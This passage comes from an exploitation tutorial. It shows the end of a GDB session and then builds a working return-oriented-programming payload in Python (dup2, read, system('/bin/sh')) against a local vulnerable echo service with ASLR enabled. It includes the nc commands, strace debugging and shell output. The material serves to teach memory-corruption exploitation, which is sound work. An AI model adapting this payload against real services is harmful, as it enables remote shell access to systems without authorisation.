0x0 0016| 0xffffd29c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0024| 0xffffd2a4 --> 0x4 0028| 0xffffd2a8 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 4, 0x08048906 in echo_service () gdb-peda$ context stack 16 [------------------------------------stack-------------------------------------] 0000| 0xffffd28c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0004| 0xffffd290 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0008| 0xffffd294 --> 0x4 0012| 0xffffd298 --> 0x0 0016| 0xffffd29c --> 0x80485f0 (<dup2@plt>: jmp DWORD PTR ds:0x804a010) 0020| 0xffffd2a0 --> 0x8048b6e (<__libc_csu_init+94>: pop edi) 0024| 0xffffd2a4 --> 0x4 0028| 0xffffd2a8 --> 0x1 0032| 0xffffd2ac --> 0x8048600 (<read@plt>: jmp DWORD PTR ds:0x804a014) 0036| 0xffffd2b0 --> 0x8048b6d (<__libc_csu_init+93>: pop esi) 0040| 0xffffd2b4 --> 0x4 0044| 0xffffd2b8 --> 0x804a060 --> 0x0 0048| 0xffffd2bc --> 0x8 0052| 0xffffd2c0 --> 0x8048670 (<system@plt>: jmp DWORD PTR ds:0x804a030) 0056| 0xffffd2c4 --> 0x0 0060| 0xffffd2c8 --> 0x804a060 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value gdb-peda$ c Continuing. [New process 2331] process 2331 is executing new program: /bin/dash Warning: Cannot insert breakpoint 3. Cannot access memory at address 0x80488d3 Cannot insert breakpoint 4. Cannot access memory at address 0x8048906 --- client side --- $ (python payload-aslr.py; cat) | nc localhost 7008 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat /bin/sh
We can see that the stack right before returning from the echo_service()
function was similar to the stack figure above. All is OK.
Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.
--- server side --- $ ./echo_service 7010 --- client side --- $ (python payload-aslr.py; cat) | nc localhost 7010 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat /bin/sh ls echo_service echo_service.c echo_service-rop.txt payload-aslr-alt.py payload-aslr.py payload-no-aslr.py peda-session-echo_service.txt ps PID TTY TIME CMD 8153 pts/4 00:00:00 echo_service 8218 pts/4 00:00:00 echo_service 8265 pts/4 00:00:00 sh 8266 pts/4 00:00:00 sh 8337 pts/4 00:00:00 ps 18617 pts/4 00:00:00 bash
Excellent! We have created a shell by calling system("/bin/sh")
through ROP on an ASLR-enabled system
As you can see, we rely on the read()
call inside the echo_service()
function to return before we feed the "/bin/sh"
string into our ROP-induced read()
call. That's why we provide the "/bin/sh"
string by hand. We could do it into one command sleep by placing a sleep
command before the printing of the payload and the providing of the "/bin/sh"
string
$ (python payload-aslr.py; sleep 2; echo "/bin/sh"; cat) | nc localhost 7010 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat ls echo_service echo_service.c echo_service-rop.txt payload-aslr-alt.py payload-aslr.py payload-no-aslr.py peda-session-echo_service.txt ps PID TTY TIME CMD 9287 pts/4 00:00:00 echo_service 9661 pts/4 00:00:00 echo_service 9695 pts/4 00:00:00 sh 9697 pts/4 00:00:00 sh 9745 pts/4 00:00:00 ps 18617 pts/4 00:00:00 bash
If we wanted to provide the "/bin/sh"
string in the payload, we would need to update the payload to take care of the fact that the read()
call inside the echo_service()
function expects 4096
bytes before returning. We could feed it the entire 4096
bytes by adding an extra padding to the payload and then append the "/bin/sh\0"
string to the payload. The appended string will be read by our ROP-induced read()
call.
The updated payload file will be:
#!/usr/bin/env python import sys import struct # 0x8048b6e: pop edi; pop ebp; ret pop_pop_ret = 0x8048b6e # 0x8048b6d: pop esi; pop edi; pop ebp; ret pop_pop_pop_ret = 0x8048b6d # libc : 0xb7f561a9 ("/bin/sh") bin_sh = 0xb7f561a9 # Symbol "system@plt" is at 0x8048670 in a file compiled without debugging. system_plt = 0x8048670 # Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging. dup2_plt = 0x80485f0 # Symbol "read@plt" is at 0x8048600 in a file compiled without debugging. read_plt = 0x8048600 # [24] .data PROGBITS 0804a060 data = 0x0804a060 # Offset from buffer start to function return address is 1040. payload = 1040*"A" # Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1): # * address of dup2() # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) # * dup2 arguments: sockfd (4) and standard output (1) payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0) # Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0): # * address of dup2() # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) # * dup2 arguments: sockfd (4) and standard input (0) payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1) # Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8) # * address of read() # * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) # * read arguments: 4, data address, 8 bytes for /bin/sh\n payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8) # Add ROP for system("/bin/sh") # * address of dup2() # * return address for system(): we don't care, just use zero # * system argument: address of "/bin/sh" payload += struct.pack("<III", system_plt, 0, data) # Fill 4096 bytes to complete read() call. bytes_so_far = len(payload) payload += (4096-bytes_so_far)*"A" # Send "/bin/sh\0" string to ROP-infused read() call. payload += "/bin/sh\0" sys.stdout.write(payload)
As said we've added additional payload to fill the 4096
bytes to complete the read()
call inside the echo_service()
function and then we feed the "/bin/sh\0"
string.
However, the moment we test the program we see it fails:
--- server side --- $ ./echo_service 7010 --- client side --- $ (python payload-aslr-alt.py; cat) | nc localhost 7010 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat ls --- server side under strace --- $ strace -f -e execve ./echo_service 7011 execve("./echo_service", ["./echo_service", "7011"], [/* 35 vars */]) = 0 [ Process PID=14923 runs in 32 bit mode. ] Process 15032 attached Process 15033 attached [pid 15033] execve("/bin/sh", ["sh", "-c", "/bin/sh"], [/* 344 vars */]) = -1 EFAULT (Bad address) [pid 15033] +++ exited with 127 +++ [pid 15032] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=15033, si_uid=1000, si_status=127, si_utime=0, si_stime=0} --- [pid 15032] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0} --- [pid 15032] +++ killed by SIGSEGV +++ --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=15032, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
We use strace
for inspection and see that execve()
returns with error due to an erroneous environment pointer (the third argument). The environment pointer is passed to the stack and, because we overwrite such a large amount with the read()
call, we overwrite the pointer. The solution is to add padding using NUL-bytes (\0
). In this ways, the environment pointer will be NULL
and the execve()
call will work OK.
We update the extra padding line in the payload:
# Fill 4096 bytes to complete read() call. bytes_so_far = len(payload) payload += (4096-bytes_so_far)*"\0"
We test the program again and we see it works:
--- server side --- $ ./echo_service 7010 --- client side --- $ (python payload-aslr-alt.py; cat) | nc localhost 7010 ============================================== Welcome to the Echo service ============================================== For your free trial, we will only echo 1024 bytes back to you If you need more, contact our sales representatives at legit_services@lol.cat ls echo_service echo_service-rop.txt echo_service.c payload-aslr-alt.py payload-aslr.py payload-no-aslr.py peda-session-echo_service.txt ps PID TTY TIME CMD 16884 pts/4 00:00:00 echo_service 16962 pts/4 00:00:00 echo_service 16963 pts/4 00:00:00 sh 16965 pts/4 00:00:00 sh 16995 pts/4 00:00:00 ps 18617 pts/4 00:00:00 bash
A shell is created through a ROP-based attack. Work complete!